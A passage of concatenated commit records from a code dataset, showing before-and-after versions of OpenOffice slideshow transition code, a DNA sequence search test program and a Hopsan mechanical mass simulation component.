namespace ::com::sun::star::animations::TransitionSubType;\n\n switch (nType)\n {\n case BARWIPE:\n return ParametricPolyPolygonSharedPtr(\n new BarWipePolyPolygon );\n case BLINDSWIPE:\n return ParametricPolyPolygonSharedPtr(\n new BarWipePolyPolygon( 6 ) );\n case BOXWIPE:\n return ParametricPolyPolygonSharedPtr(\n new BoxWipe( nSubType == LEFTCENTER ||\n nSubType == TOPCENTER ||\n nSubType == RIGHTCENTER||\n nSubType == BOTTOMCENTER ) );\n case FOURBOXWIPE:\n return ParametricPolyPolygonSharedPtr(\n new FourBoxWipe( nSubType == CORNERSOUT ) );\n case BARNDOORWIPE:\n return ParametricPolyPolygonSharedPtr(\n new BarnDoorWipe );\n case DIAGONALWIPE:\n return ParametricPolyPolygonSharedPtr(\n new BarWipePolyPolygon );\n case VEEWIPE:\n return ParametricPolyPolygonSharedPtr(\n new VeeWipe );\n case IRISWIPE:\n return ParametricPolyPolygonSharedPtr(\n new IrisWipe );\n case ELLIPSEWIPE:\n return ParametricPolyPolygonSharedPtr(\n new EllipseWipe(nSubType) );\n case CHECKERBOARDWIPE:\n return ParametricPolyPolygonSharedPtr(\n new CheckerBoardWipe );\n case RANDOMBARWIPE:\n return ParametricPolyPolygonSharedPtr(\n new RandomWipe( 128, true \/* bars *\/ ) );\n case DISSOLVE:\n return ParametricPolyPolygonSharedPtr(\n new RandomWipe( 16 * 16, \/\/ for now until dxcanvas is faster\n\/\/ 64 * 64 \/* elements *\/,\n false \/* dissolve *\/ ) );\n case WATERFALLWIPE:\n return ParametricPolyPolygonSharedPtr(\n new WaterfallWipe(\n 128,\n \/\/ flipOnYAxis:\n nSubType == VERTICALRIGHT ||\n nSubType == HORIZONTALLEFT ) );\n case CLOCKWIPE:\n return ParametricPolyPolygonSharedPtr(\n new ClockWipe );\n case FANWIPE:\n return ParametricPolyPolygonSharedPtr(\n new FanWipe( \/\/ center:\n nSubType == CENTERTOP ||\n nSubType == CENTERRIGHT ) );\n case PINWHEELWIPE: {\n sal_Int32 blades;\n switch (nSubType) {\n case ONEBLADE:\n blades = 1;\n break;\n case THREEBLADE:\n blades = 3;\n break;\n case FOURBLADE:\n blades = 4;\n break;\n case EIGHTBLADE:\n blades = 8;\n break;\n default:\n blades = 2;\n break;\n }\n return ParametricPolyPolygonSharedPtr(\n new PinWheelWipe( blades ) );\n }\n case SNAKEWIPE:\n return ParametricPolyPolygonSharedPtr(\n new SnakeWipe(\n \/\/ elements:\n 64 * 64,\n \/\/ diagonal:\n nSubType == TOPLEFTDIAGONAL ||\n nSubType == TOPRIGHTDIAGONAL ||\n nSubType == BOTTOMRIGHTDIAGONAL ||\n nSubType == BOTTOMLEFTDIAGONAL,\n \/\/ flipOnYAxis:\n nSubType == TOPLEFTVERTICAL ||\n nSubType == TOPRIGHTDIAGONAL ||\n nSubType == BOTTOMLEFTDIAGONAL\n ) );\n case PARALLELSNAKESWIPE:\n return ParametricPolyPolygonSharedPtr(\n new ParallelSnakesWipe(\n \/\/ elements:\n 64 * 64,\n \/\/ diagonal:\n nSubType == DIAGONALBOTTOMLEFTOPPOSITE ||\n nSubType == DIAGONALTOPLEFTOPPOSITE,\n \/\/ flipOnYAxis:\n nSubType == VERTICALBOTTOMLEFTOPPOSITE ||\n nSubType == HORIZONTALTOPLEFTOPPOSITE ||\n nSubType == DIAGONALTOPLEFTOPPOSITE,\n \/\/ opposite:\n nSubType == VERTICALTOPLEFTOPPOSITE ||\n nSubType == VERTICALBOTTOMLEFTOPPOSITE ||\n nSubType == HORIZONTALTOPLEFTOPPOSITE ||\n nSubType == HORIZONTALTOPRIGHTOPPOSITE ||\n nSubType == DIAGONALBOTTOMLEFTOPPOSITE ||\n nSubType == DIAGONALTOPLEFTOPPOSITE\n ) );\n case SPIRALWIPE:\n return ParametricPolyPolygonSharedPtr(\n new SpiralWipe(\n \/\/ elements:\n 64 * 64,\n \/\/ flipOnYAxis:\n nSubType == TOPLEFTCOUNTERCLOCKWISE ||\n nSubType == TOPRIGHTCOUNTERCLOCKWISE ||\n nSubType == BOTTOMRIGHTCOUNTERCLOCKWISE ||\n nSubType == BOTTOMLEFTCOUNTERCLOCKWISE ) );\n case BOXSNAKESWIPE:\n return ParametricPolyPolygonSharedPtr(\n new BoxSnakesWipe(\n \/\/ elements:\n 64 * 64,\n \/\/ fourBox:\n nSubType == FOURBOXVERTICAL ||\n nSubType == FOURBOXHORIZONTAL ) );\n case SINGLESWEEPWIPE:\n return ParametricPolyPolygonSharedPtr(\n new SweepWipe(\n \/\/ center:\n nSubType == CLOCKWISETOP ||\n nSubType == CLOCKWISERIGHT ||\n nSubType == CLOCKWISEBOTTOM ||\n nSubType == CLOCKWISELEFT,\n \/\/ single:\n true,\n \/\/ oppositeVertical:\n false,\n \/\/ flipOnYAxis:\n nSubType == COUNTERCLOCKWISEBOTTOMLEFT ||\n nSubType == COUNTERCLOCKWISETOPRIGHT\n ) );\n case DOUBLESWEEPWIPE:\n return ParametricPolyPolygonSharedPtr(\n new SweepWipe(\n \/\/ center:\n nSubType == PARALLELVERTICAL ||\n nSubType == PARALLELDIAGONAL ||\n nSubType == OPPOSITEVERTICAL ||\n nSubType == OPPOSITEHORIZONTAL,\n \/\/ single:\n false,\n \/\/ oppositeVertical:\n nSubType == OPPOSITEVERTICAL ||\n nSubType == OPPOSITEHORIZONTAL,\n \/\/ flipOnYAxis:\n false ) );\n case DOUBLEFANWIPE:\n return ParametricPolyPolygonSharedPtr(\n new FanWipe(\n \/\/center:\n true,\n \/\/ single:\n false,\n \/\/ fanIn:\n nSubType == FANINVERTICAL ||\n nSubType == FANINHORIZONTAL ) );\n case TRIANGLEWIPE:\n return ParametricPolyPolygonSharedPtr(\n FigureWipe::createTriangleWipe() );\n case ARROWHEADWIPE:\n return ParametricPolyPolygonSharedPtr(\n FigureWipe::createArrowHeadWipe() );\n case PENTAGONWIPE:\n return ParametricPolyPolygonSharedPtr(\n FigureWipe::createPentagonWipe() );\n case HEXAGONWIPE:\n return ParametricPolyPolygonSharedPtr(\n FigureWipe::createHexagonWipe() );\n case STARWIPE: {\n sal_Int32 points;\n switch (nSubType) {\n case FIVEPOINT:\n points = 5;\n break;\n case SIXPOINT:\n points = 6;\n break;\n default:\n points = 4;\n break;\n }\n return ParametricPolyPolygonSharedPtr(\n FigureWipe::createStarWipe(points) );\n }\n case MISCDIAGONALWIPE: {\n switch (nSubType) {\n case DOUBLEBARNDOOR:\n return ParametricPolyPolygonSharedPtr(\n new BarnDoorWipe( true \/* doubled *\/ ) );\n case DOUBLEDIAMOND:\n return ParametricPolyPolygonSharedPtr(\n new DoubleDiamondWipe );\n }\n break;\n }\n case ZIGZAGWIPE:\n return ParametricPolyPolygonSharedPtr( new ZigZagWipe(5) );\n case BARNZIGZAGWIPE:\n return ParametricPolyPolygonSharedPtr( new BarnZigZagWipe(5) );\n\n case BOWTIEWIPE:\n case BARNVEEWIPE:\n case EYEWIPE:\n case ROUNDRECTWIPE:\n case MISCSHAPEWIPE:\n case SALOONDOORWIPE:\n case WINDSHIELDWIPE:\n \/\/ for now, map to barwipe transition\n return ParametricPolyPolygonSharedPtr(\n new BarWipePolyPolygon );\n\n default:\n case PUSHWIPE:\n case SLIDEWIPE:\n case FADE:\n ENSURE_AND_THROW( false,\n \"createShapeClipPolyPolygonAnimation(): Transition type mismatch\" );\n }\n\n return ParametricPolyPolygonSharedPtr();\n }\n }\n}\n<commit_msg>INTEGRATION: CWS changefileheader (1.7.74); FILE MERGED 2008\/03\/31 14:00:25 rt 1.7.74.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: parametricpolypolygonfactory.cxx,v $\n * $Revision: 1.8 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_slideshow.hxx\"\n\n#include <canvas\/debug.hxx>\n\n#include <com\/sun\/star\/animations\/TransitionType.hpp>\n#include <com\/sun\/star\/animations\/TransitionSubType.hpp>\n\n#include \"parametricpolypolygonfactory.hxx\"\n#include \"barwipepolypolygon.hxx\"\n#include \"boxwipe.hxx\"\n#include \"fourboxwipe.hxx\"\n#include \"barndoorwipe.hxx\"\n#include \"doublediamondwipe.hxx\"\n#include \"veewipe.hxx\"\n#include \"iriswipe.hxx\"\n#include \"ellipsewipe.hxx\"\n#include \"checkerboardwipe.hxx\"\n#include \"randomwipe.hxx\"\n#include \"waterfallwipe.hxx\"\n#include \"clockwipe.hxx\"\n#include \"fanwipe.hxx\"\n#include \"pinwheelwipe.hxx\"\n#include \"snakewipe.hxx\"\n#include \"spiralwipe.hxx\"\n#include \"sweepwipe.hxx\"\n#include \"figurewipe.hxx\"\n#include \"zigzagwipe.hxx\"\n\n\nusing namespace ::com::sun::star;\n\nnamespace slideshow\n{\n namespace internal\n {\n ParametricPolyPolygonSharedPtr\n ParametricPolyPolygonFactory::createClipPolyPolygon(\n sal_Int16 nType, sal_Int16 nSubType )\n {\n using namespace ::com::sun::star::animations::TransitionType;\n using namespace ::com::sun::star::animations::TransitionSubType;\n\n switch (nType)\n {\n case BARWIPE:\n return ParametricPolyPolygonSharedPtr(\n new BarWipePolyPolygon );\n case BLINDSWIPE:\n return ParametricPolyPolygonSharedPtr(\n new BarWipePolyPolygon( 6 ) );\n case BOXWIPE:\n return ParametricPolyPolygonSharedPtr(\n new BoxWipe( nSubType == LEFTCENTER ||\n nSubType == TOPCENTER ||\n nSubType == RIGHTCENTER||\n nSubType == BOTTOMCENTER ) );\n case FOURBOXWIPE:\n return ParametricPolyPolygonSharedPtr(\n new FourBoxWipe( nSubType == CORNERSOUT ) );\n case BARNDOORWIPE:\n return ParametricPolyPolygonSharedPtr(\n new BarnDoorWipe );\n case DIAGONALWIPE:\n return ParametricPolyPolygonSharedPtr(\n new BarWipePolyPolygon );\n case VEEWIPE:\n return ParametricPolyPolygonSharedPtr(\n new VeeWipe );\n case IRISWIPE:\n return ParametricPolyPolygonSharedPtr(\n new IrisWipe );\n case ELLIPSEWIPE:\n return ParametricPolyPolygonSharedPtr(\n new EllipseWipe(nSubType) );\n case CHECKERBOARDWIPE:\n return ParametricPolyPolygonSharedPtr(\n new CheckerBoardWipe );\n case RANDOMBARWIPE:\n return ParametricPolyPolygonSharedPtr(\n new RandomWipe( 128, true \/* bars *\/ ) );\n case DISSOLVE:\n return ParametricPolyPolygonSharedPtr(\n new RandomWipe( 16 * 16, \/\/ for now until dxcanvas is faster\n\/\/ 64 * 64 \/* elements *\/,\n false \/* dissolve *\/ ) );\n case WATERFALLWIPE:\n return ParametricPolyPolygonSharedPtr(\n new WaterfallWipe(\n 128,\n \/\/ flipOnYAxis:\n nSubType == VERTICALRIGHT ||\n nSubType == HORIZONTALLEFT ) );\n case CLOCKWIPE:\n return ParametricPolyPolygonSharedPtr(\n new ClockWipe );\n case FANWIPE:\n return ParametricPolyPolygonSharedPtr(\n new FanWipe( \/\/ center:\n nSubType == CENTERTOP ||\n nSubType == CENTERRIGHT ) );\n case PINWHEELWIPE: {\n sal_Int32 blades;\n switch (nSubType) {\n case ONEBLADE:\n blades = 1;\n break;\n case THREEBLADE:\n blades = 3;\n break;\n case FOURBLADE:\n blades = 4;\n break;\n case EIGHTBLADE:\n blades = 8;\n break;\n default:\n blades = 2;\n break;\n }\n return ParametricPolyPolygonSharedPtr(\n new PinWheelWipe( blades ) );\n }\n case SNAKEWIPE:\n return ParametricPolyPolygonSharedPtr(\n new SnakeWipe(\n \/\/ elements:\n 64 * 64,\n \/\/ diagonal:\n nSubType == TOPLEFTDIAGONAL ||\n nSubType == TOPRIGHTDIAGONAL ||\n nSubType == BOTTOMRIGHTDIAGONAL ||\n nSubType == BOTTOMLEFTDIAGONAL,\n \/\/ flipOnYAxis:\n nSubType == TOPLEFTVERTICAL ||\n nSubType == TOPRIGHTDIAGONAL ||\n nSubType == BOTTOMLEFTDIAGONAL\n ) );\n case PARALLELSNAKESWIPE:\n return ParametricPolyPolygonSharedPtr(\n new ParallelSnakesWipe(\n \/\/ elements:\n 64 * 64,\n \/\/ diagonal:\n nSubType == DIAGONALBOTTOMLEFTOPPOSITE ||\n nSubType == DIAGONALTOPLEFTOPPOSITE,\n \/\/ flipOnYAxis:\n nSubType == VERTICALBOTTOMLEFTOPPOSITE ||\n nSubType == HORIZONTALTOPLEFTOPPOSITE ||\n nSubType == DIAGONALTOPLEFTOPPOSITE,\n \/\/ opposite:\n nSubType == VERTICALTOPLEFTOPPOSITE ||\n nSubType == VERTICALBOTTOMLEFTOPPOSITE ||\n nSubType == HORIZONTALTOPLEFTOPPOSITE ||\n nSubType == HORIZONTALTOPRIGHTOPPOSITE ||\n nSubType == DIAGONALBOTTOMLEFTOPPOSITE ||\n nSubType == DIAGONALTOPLEFTOPPOSITE\n ) );\n case SPIRALWIPE:\n return ParametricPolyPolygonSharedPtr(\n new SpiralWipe(\n \/\/ elements:\n 64 * 64,\n \/\/ flipOnYAxis:\n nSubType == TOPLEFTCOUNTERCLOCKWISE ||\n nSubType == TOPRIGHTCOUNTERCLOCKWISE ||\n nSubType == BOTTOMRIGHTCOUNTERCLOCKWISE ||\n nSubType == BOTTOMLEFTCOUNTERCLOCKWISE ) );\n case BOXSNAKESWIPE:\n return ParametricPolyPolygonSharedPtr(\n new BoxSnakesWipe(\n \/\/ elements:\n 64 * 64,\n \/\/ fourBox:\n nSubType == FOURBOXVERTICAL ||\n nSubType == FOURBOXHORIZONTAL ) );\n case SINGLESWEEPWIPE:\n return ParametricPolyPolygonSharedPtr(\n new SweepWipe(\n \/\/ center:\n nSubType == CLOCKWISETOP ||\n nSubType == CLOCKWISERIGHT ||\n nSubType == CLOCKWISEBOTTOM ||\n nSubType == CLOCKWISELEFT,\n \/\/ single:\n true,\n \/\/ oppositeVertical:\n false,\n \/\/ flipOnYAxis:\n nSubType == COUNTERCLOCKWISEBOTTOMLEFT ||\n nSubType == COUNTERCLOCKWISETOPRIGHT\n ) );\n case DOUBLESWEEPWIPE:\n return ParametricPolyPolygonSharedPtr(\n new SweepWipe(\n \/\/ center:\n nSubType == PARALLELVERTICAL ||\n nSubType == PARALLELDIAGONAL ||\n nSubType == OPPOSITEVERTICAL ||\n nSubType == OPPOSITEHORIZONTAL,\n \/\/ single:\n false,\n \/\/ oppositeVertical:\n nSubType == OPPOSITEVERTICAL ||\n nSubType == OPPOSITEHORIZONTAL,\n \/\/ flipOnYAxis:\n false ) );\n case DOUBLEFANWIPE:\n return ParametricPolyPolygonSharedPtr(\n new FanWipe(\n \/\/center:\n true,\n \/\/ single:\n false,\n \/\/ fanIn:\n nSubType == FANINVERTICAL ||\n nSubType == FANINHORIZONTAL ) );\n case TRIANGLEWIPE:\n return ParametricPolyPolygonSharedPtr(\n FigureWipe::createTriangleWipe() );\n case ARROWHEADWIPE:\n return ParametricPolyPolygonSharedPtr(\n FigureWipe::createArrowHeadWipe() );\n case PENTAGONWIPE:\n return ParametricPolyPolygonSharedPtr(\n FigureWipe::createPentagonWipe() );\n case HEXAGONWIPE:\n return ParametricPolyPolygonSharedPtr(\n FigureWipe::createHexagonWipe() );\n case STARWIPE: {\n sal_Int32 points;\n switch (nSubType) {\n case FIVEPOINT:\n points = 5;\n break;\n case SIXPOINT:\n points = 6;\n break;\n default:\n points = 4;\n break;\n }\n return ParametricPolyPolygonSharedPtr(\n FigureWipe::createStarWipe(points) );\n }\n case MISCDIAGONALWIPE: {\n switch (nSubType) {\n case DOUBLEBARNDOOR:\n return ParametricPolyPolygonSharedPtr(\n new BarnDoorWipe( true \/* doubled *\/ ) );\n case DOUBLEDIAMOND:\n return ParametricPolyPolygonSharedPtr(\n new DoubleDiamondWipe );\n }\n break;\n }\n case ZIGZAGWIPE:\n return ParametricPolyPolygonSharedPtr( new ZigZagWipe(5) );\n case BARNZIGZAGWIPE:\n return ParametricPolyPolygonSharedPtr( new BarnZigZagWipe(5) );\n\n case BOWTIEWIPE:\n case BARNVEEWIPE:\n case EYEWIPE:\n case ROUNDRECTWIPE:\n case MISCSHAPEWIPE:\n case SALOONDOORWIPE:\n case WINDSHIELDWIPE:\n \/\/ for now, map to barwipe transition\n return ParametricPolyPolygonSharedPtr(\n new BarWipePolyPolygon );\n\n default:\n case PUSHWIPE:\n case SLIDEWIPE:\n case FADE:\n ENSURE_AND_THROW( false,\n \"createShapeClipPolyPolygonAnimation(): Transition type mismatch\" );\n }\n\n return ParametricPolyPolygonSharedPtr();\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ DnaMatchingAndVariationDetection.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n#include <iostream>\n#include \"Sequence.h\"\n\nusing namespace std;\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n\t\/\/ Define the sample sequences.\n\tchar sequence1[33] = \"ACAAGATGCCATTGTCCCCCGGCCTCCTGCTG\";\n\n\t\/\/ Create the necessary Sequence objects.\n\tSequence s1;\n\n\t\/\/ Initialize the Sequence objects.\n\ts1.Initialize(sequence1);\n\n\t\/\/ Define a search key.\n\tconst int SEARCH_KEY_SIZE = 3;\n\tchar searchKey[SEARCH_KEY_SIZE + 1] = \"CCC\";\n\n\t\/\/ Test sequence 1 and search functionality.\n\tcout << \"Sequence 1: \\\"\"; s1.PrintSequence(); cout << \"\\\"\" << endl;\n\tcout << \" - Size: \" << s1.GetSize() << endl;\n\tcout << \"Search Key: \" << searchKey << endl;\n\tcout << \" - Keys Found: \" << s1.Search(searchKey, SEARCH_KEY_SIZE) << endl;\n\n\treturn 0;\n}<commit_msg>Expanded sequence search testing to include both valid and non-valid search keys<commit_after>\/\/ DnaMatchingAndVariationDetection.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n#include <iostream>\n#include \"Sequence.h\"\n\nusing namespace std;\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n\t\/\/ Define the sample sequences.\n\tchar sequence1[33] = \"ACAAGATGCCATTGTCCCCCGGCCTCCTGCTG\";\n\tchar sequence2[17] = \"CTGCTGCTCTCCGGGG\";\n\n\t\/\/ Create the necessary Sequence objects.\n\tSequence s1, s2;\n\n\t\/\/ Initialize the Sequence objects.\n\ts1.Initialize(sequence1);\n\ts2.Initialize(sequence2, 16);\n\n\t\/\/ Define search keys.\n\tconst int SEARCH_KEY_SIZE_1 = 3;\n\tchar searchKey1[SEARCH_KEY_SIZE_1 + 1] = \"CCC\";\n\tchar searchKey2[SEARCH_KEY_SIZE_1 + 1] = \"AAA\";\n\tconst int SEARCH_KEY_SIZE_2 = 8;\n\tchar searchKey3[SEARCH_KEY_SIZE_2 + 1] = \"CTCCGGGG\";\n\tchar searchKey4[SEARCH_KEY_SIZE_2 + 1] = \"CTGCTGCG\";\n\n\t\/\/ Test sequence 1 (default sequence size) and search functionality.\n\tcout << \"Sequence 1: \\\"\"; s1.PrintSequence(); cout << \"\\\"\" << endl;\n\tcout << \" - Size: \" << s1.GetSize() << endl;\n\tcout << \"Search Key: \" << searchKey1 << endl;\n\tcout << \" - Keys Found: \" << s1.Search(searchKey1, SEARCH_KEY_SIZE_1) << endl;\n\tcout << \"Search Key: \" << searchKey2 << endl;\n\tcout << \" - Keys Found: \" << s1.Search(searchKey2, SEARCH_KEY_SIZE_1) << endl << endl;\n\n\t\/\/ Test sequence 2 (specified sequence size) and search functionality.\n\tcout << \"Sequence 2: \\\"\"; s2.PrintSequence(); cout << \"\\\"\" << endl;\n\tcout << \" - Size: \" << s2.GetSize() << endl;\n\tcout << \"Search Key: \" << searchKey3 << endl;\n\tcout << \" - Keys Found: \" << s2.Search(searchKey3, SEARCH_KEY_SIZE_2) << endl;\n\tcout << \"Search Key: \" << searchKey4 << endl;\n\tcout << \" - Keys Found: \" << s2.Search(searchKey4, SEARCH_KEY_SIZE_2) << endl << endl;\n\n\treturn 0;\n}<|endoftext|>"} {"text":"<commit_before>\/\/$Id$\n\n#ifndef MECHANICTRANSLATIONALMASS_HPP_INCLUDED\n#define MECHANICTRANSLATIONALMASS_HPP_INCLUDED\n\n#include <sstream>\n\n#include \"..\/..\/ComponentEssentials.h\"\n#include \"..\/..\/ComponentUtilities.h\"\n\nnamespace hopsan {\n\n \/\/!\n \/\/! @brief\n \/\/! @ingroup MechanicalComponents\n \/\/!\n class MechanicTranslationalMass : public ComponentQ\n {\n\n private:\n double m, B, k;\n double mLength; \/\/This length is not accesible by the user,\n \/\/it is set from the start values by the c-components in the ends\n double *mpND_f1, *mpND_x1, *mpND_v1, *mpND_c1, *mpND_Zx1, *mpND_f2, *mpND_x2, *mpND_v2, *mpND_c2, *mpND_Zx2; \/\/Node data pointers\n double f1, x1, v1, c1, Zx1, f2, x2, v2, c2, Zx2; \/\/Node data variables\n double mNum[3];\n double mDen[3];\n SecondOrderFilter mFilter;\n Integrator mInt;\n Port *mpP1, *mpP2;\n\n public:\n static Component *Creator()\n {\n return new MechanicTranslationalMass(\"TranslationalMass\");\n }\n\n MechanicTranslationalMass(const std::string name) : ComponentQ(name)\n {\n \/\/Set member attributes\n m = 1.0;\n B = 10;\n k = 0.0;\n\n \/\/Add ports to the component\n mpP1 = addPowerPort(\"P1\", \"NodeMechanic\");\n mpP2 = addPowerPort(\"P2\", \"NodeMechanic\");\n\n \/\/Register changable parameters to the HOPSAN++ core\n registerParameter(\"m\", \"Mass\", \"[kg]\", m);\n registerParameter(\"B\", \"Viscous Friction\", \"[Ns\/m]\", B);\n registerParameter(\"k\", \"Spring Coefficient\", \"[N\/m]\", k);\n }\n\n\n void initialize()\n {\n \/\/Assign node data pointers\n mpND_f1 = getSafeNodeDataPtr(mpP1, NodeMechanic::FORCE);\n mpND_x1 = getSafeNodeDataPtr(mpP1, NodeMechanic::POSITION);\n mpND_v1 = getSafeNodeDataPtr(mpP1, NodeMechanic::VELOCITY);\n mpND_c1 = getSafeNodeDataPtr(mpP1, NodeMechanic::WAVEVARIABLE);\n mpND_Zx1 = getSafeNodeDataPtr(mpP1, NodeMechanic::CHARIMP);\n\n mpND_f2 = getSafeNodeDataPtr(mpP2, NodeMechanic::FORCE);\n mpND_x2 = getSafeNodeDataPtr(mpP2, NodeMechanic::POSITION);\n mpND_v2 = getSafeNodeDataPtr(mpP2, NodeMechanic::VELOCITY);\n mpND_c2 = getSafeNodeDataPtr(mpP2, NodeMechanic::WAVEVARIABLE);\n mpND_Zx2 = getSafeNodeDataPtr(mpP2, NodeMechanic::CHARIMP);\n\n \/\/Initialization\n f1 = (*mpND_f1);\n x1 = (*mpND_x1);\n v1 = (*mpND_v1);\n x2 = (*mpND_x2);\n\n mLength = x1+x2;\n\n mNum[0] = 0.0;\n mNum[1] = 1.0;\n mNum[2] = 0.0;\n mDen[0] = m;\n mDen[1] = B;\n mDen[2] = k;\n mFilter.initialize(mTimestep, mNum, mDen, -f1, -v1);\n mInt.initialize(mTimestep, -v1, -x1+mLength);\n\n \/\/Print debug message if velocities do not match\n if(mpP1->readNode(NodeMechanic::VELOCITY) != -mpP2->readNode(NodeMechanic::VELOCITY))\n {\n std::stringstream ss;\n ss << \"Start velocities does not match, {\" << getName() << \"::\" << mpP1->getPortName() <<\n \"} and {\" << getName() << \"::\" << mpP2->getPortName() << \"}.\";\n this->addDebugMessage(ss.str());\n }\n }\n\n\n void simulateOneTimestep()\n {\n \/\/Get variable values from nodes\n c1 = (*mpND_c1);\n Zx1 = (*mpND_Zx1);\n c2 = (*mpND_c2);\n Zx2 = (*mpND_Zx2);\n\n \/\/Mass equations\n mDen[1] = B+Zx1+Zx2;\n\n mFilter.setDen(mDen);\n v2 = mFilter.update(c1-c2);\n v1 = -v2;\n x2 = mInt.update(v2);\n x1 = -x2 + mLength;\n f1 = c1 + Zx1*v1;\n f2 = c2 + Zx2*v2;\n\n \/\/Write new values to nodes\n (*mpND_f1) = f1;\n (*mpND_x1) = x1;\n (*mpND_v1) = v1;\n (*mpND_f2) = f2;\n (*mpND_x2) = x2;\n (*mpND_v2) = v2;\n }\n };\n}\n\n#endif \/\/ MECHANICTRANSLATIONALMASS_HPP_INCLUDED\n\n<commit_msg>Added max and min positions for translational mass.<commit_after>\/\/$Id$\n\n#ifndef MECHANICTRANSLATIONALMASS_HPP_INCLUDED\n#define MECHANICTRANSLATIONALMASS_HPP_INCLUDED\n\n#include <sstream>\n#include <math.h>\n\n#include \"..\/..\/ComponentEssentials.h\"\n#include \"..\/..\/ComponentUtilities.h\"\n\nnamespace hopsan {\n\n \/\/!\n \/\/! @brief\n \/\/! @ingroup MechanicalComponents\n \/\/!\n class MechanicTranslationalMass : public ComponentQ\n {\n\n private:\n double m, B, k, xMin, xMax;\n double mLength; \/\/This length is not accesible by the user,\n \/\/it is set from the start values by the c-components in the ends\n double *mpND_f1, *mpND_x1, *mpND_v1, *mpND_c1, *mpND_Zx1, *mpND_f2, *mpND_x2, *mpND_v2, *mpND_c2, *mpND_Zx2; \/\/Node data pointers\n double f1, x1, v1, c1, Zx1, f2, x2, v2, c2, Zx2; \/\/Node data variables\n double mNum[3];\n double mDen[3];\n SecondOrderFilter mFilter;\n Integrator mInt;\n Port *mpP1, *mpP2;\n\n public:\n static Component *Creator()\n {\n return new MechanicTranslationalMass(\"TranslationalMass\");\n }\n\n MechanicTranslationalMass(const std::string name) : ComponentQ(name)\n {\n \/\/Set member attributes\n m = 1.0;\n B = 10;\n k = 0.0;\n xMin = -1000.0;\n xMax = 1000.0;\n\n \/\/Add ports to the component\n mpP1 = addPowerPort(\"P1\", \"NodeMechanic\");\n mpP2 = addPowerPort(\"P2\", \"NodeMechanic\");\n\n \/\/Register changable parameters to the HOPSAN++ core\n registerParameter(\"m\", \"Mass\", \"[kg]\", m);\n registerParameter(\"B\", \"Viscous Friction\", \"[Ns\/m]\", B);\n registerParameter(\"k\", \"Spring Coefficient\", \"[N\/m]\", k);\n registerParameter(\"x_min\", \"Minimum Position\", \"[m]\", xMin);\n registerParameter(\"x_max\", \"Maximum Position\", \"[m]\", xMax);\n }\n\n\n void initialize()\n {\n \/\/Assign node data pointers\n mpND_f1 = getSafeNodeDataPtr(mpP1, NodeMechanic::FORCE);\n mpND_x1 = getSafeNodeDataPtr(mpP1, NodeMechanic::POSITION);\n mpND_v1 = getSafeNodeDataPtr(mpP1, NodeMechanic::VELOCITY);\n mpND_c1 = getSafeNodeDataPtr(mpP1, NodeMechanic::WAVEVARIABLE);\n mpND_Zx1 = getSafeNodeDataPtr(mpP1, NodeMechanic::CHARIMP);\n\n mpND_f2 = getSafeNodeDataPtr(mpP2, NodeMechanic::FORCE);\n mpND_x2 = getSafeNodeDataPtr(mpP2, NodeMechanic::POSITION);\n mpND_v2 = getSafeNodeDataPtr(mpP2, NodeMechanic::VELOCITY);\n mpND_c2 = getSafeNodeDataPtr(mpP2, NodeMechanic::WAVEVARIABLE);\n mpND_Zx2 = getSafeNodeDataPtr(mpP2, NodeMechanic::CHARIMP);\n\n \/\/Initialization\n f1 = (*mpND_f1);\n x1 = (*mpND_x1);\n v1 = (*mpND_v1);\n x2 = (*mpND_x2);\n\n mLength = x1+x2;\n\n mNum[0] = 0.0;\n mNum[1] = 1.0;\n mNum[2] = 0.0;\n mDen[0] = m;\n mDen[1] = B;\n mDen[2] = k;\n mFilter.initialize(mTimestep, mNum, mDen, -f1, -v1);\n mInt.initialize(mTimestep, -v1, -x1+mLength);\n\n \/\/Print debug message if velocities do not match\n if(mpP1->readNode(NodeMechanic::VELOCITY) != -mpP2->readNode(NodeMechanic::VELOCITY))\n {\n std::stringstream ss;\n ss << \"Start velocities does not match, {\" << getName() << \"::\" << mpP1->getPortName() <<\n \"} and {\" << getName() << \"::\" << mpP2->getPortName() << \"}.\";\n this->addDebugMessage(ss.str());\n }\n }\n\n\n void simulateOneTimestep()\n {\n \/\/Get variable values from nodes\n c1 = (*mpND_c1);\n Zx1 = (*mpND_Zx1);\n c2 = (*mpND_c2);\n Zx2 = (*mpND_Zx2);\n\n \/\/Mass equations\n mDen[1] = B+Zx1+Zx2;\n\n mFilter.setDen(mDen);\n v2 = mFilter.update(c1-c2);\n\n x2 = mInt.update(v2);\n\n if(x2<xMin)\n {\n x2=xMin;\n v2=std::min(0.0, v2);\n }\n if(x2>xMax)\n {\n x2=xMax;\n v2=std::max(0.0, v2);\n }\n\n v1 = -v2;\n x1 = -x2 + mLength;\n f1 = c1 + Zx1*v1;\n f2 = c2 + Zx2*v2;\n\n \/\/Write new values to nodes\n (*mpND_f1) = f1;\n (*mpND_x1) = x1;\n (*mpND_v1) = v1;\n (*mpND_f2) = f2;\n (*mpND_x2) = x2;\n (*mpND_v2) = v2;\n }\n };\n}\n\n#endif \/\/ MECHANICTRANSLATIONALMASS_HPP_INCLUDED\n\n<|endoftext|>"} {"text":"<commit_before>\/*********************************************************************\n* Software License Agreement (BSD License)\n* \n* Copyright (c) 2008, Willow Garage, Inc.\n* All rights reserved.\n* \n* 